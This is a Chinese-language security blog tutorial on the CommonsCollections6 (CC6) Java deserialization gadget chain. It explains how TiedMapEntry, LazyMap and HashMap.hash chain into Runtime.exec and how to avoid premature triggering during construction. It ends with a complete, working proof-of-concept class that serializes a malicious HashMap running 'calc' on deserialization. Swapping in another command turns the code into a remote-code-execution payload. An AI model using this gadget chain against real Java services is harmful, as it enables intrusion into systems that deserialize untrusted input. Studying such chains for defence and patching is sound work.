Java安全—CommonsCollections6

引子

上篇文章带大家学习了CC1链,今天来带领大家跟一下CC6链

先上POC

 Gadget chain:
 java.io.ObjectInputStream.readObject()
 	java.util.HashMap.readObject()
 		java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

TiedMapEntry

TiedMapEntry接收一个map类的值 一个key,我们看看里面的hashcode()函数。

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

跟到getvalue()中 可以看到map.get 我们只需要将map值传LazyMap即可触LazyMap.get()。

构造链子

然后就和CC1和后半部分差不多了。

现在我们就要看看,哪里能触发hashcode();

根据URLDNS链,我们可以联想HashMap的readObject方法中调用了hash(key),而hash方法又调用了key.hashCode()。所以只需要让这个key等于TiedMapEntry对象即可。

hash:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

大体是这个样子的

Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<Object, Object>();
//置空 防止序列化时调用
Map<Object,Object> lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));

调用hashcode的话就是通过put给key赋值TiedMapEntry
我们拿到了一个恶意的LazyMap对象lazyMap,将其作为TiedMapEntry的map属性传入

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

调用TiedMapEntry的hashCode()方法,我们需要将tiedMapEntry作为HashMap的key属性传入

Map expMap = new HashMap();
expMap.put(tiedMapEntry,"valuevalue");

实验时会发现有一些问题的出现

hashMap.put(tiedMapEntry,"XINO");

走到这里的时候,就会进行命令执行了,我们并没有反序列化。这是因为在构造时就出现了命令执行,我们可以通过反射进行修改。在序列化之前用一个没影响的Transformer[],也就是fakeTransformers,最后再改回来 。

ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"XIN");
        Map hashMap = new HashMap();

        hashMap.put(tiedMapEntry,"XINO");



        Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
        Field field = clazz.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);
        byte[] bytes = serialize(hashMap);
        unserialize(bytes);

第二个问题,修改完发现还是运行不了,这里还是下面的问题。

hashMap.put(tiedMapEntry,"XINO");

hashMapput()方法里也调用了hash()函数,相当于把整个漏洞触发的过程提前触发了一遍 返回的value是1,然后调用了map.put("XIN",1),把这个键给添加进去了,导致反序列化的时候没法触发漏洞。

outerMap.remove("XIN");

完整的

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections6 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "XIN");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"XINO");
        lazyMap.remove("XIN");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);
//        serialize(map2);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

结语

相比于CC1链,这个链子还是比较好跟的多少有点跟过的链子的影子(比如CC5),不过还是需要用心学习一下。里面还是有很多不太好懂的点的。欢迎大家点赞交流。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值